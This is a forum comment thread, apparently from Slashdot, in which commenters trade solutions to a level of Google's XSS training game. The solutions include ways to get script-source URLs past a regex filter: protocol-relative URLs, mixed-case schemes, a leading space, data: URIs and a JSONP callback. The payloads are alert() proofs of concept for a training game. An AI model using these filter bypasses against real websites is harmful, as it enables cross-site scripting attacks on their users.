I used "//" to get around the http regex (but this requires using an https host as you mentioned), is there another way to get around the regex?
Adding a space just before the URL works just as well.
Spoiler: RaNDoM cApS
//www.google.com/jsapi?callback=alert
data:,alert('hi')
Use upper-case characters
i think ftp:// works too
EDIT: no, it doesn't :D
Re:Google's XSS game
by barrydahlberg on Thursday May 29, 2014 @07:25AM
(#7815682)
SPOILER: You need a way to defeat the regex (see other comments here). Then think about what the "foo" actually does (and read the error console).
What's the trivial solution to this? I also wound up hosting the malicious file on my personal server...
data-uris also work: #data:text/javascript,alert('pwn')
That's what I used too. Hosting scripts is far too much like hard work...
There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.
Re:Google's XSS game
by joshschreuder on Thursday May 29, 2014 @08:15PM
(#7819428)
I put a small gist up and hotlinked through githack.com
Checking our stuff for this mistake now ...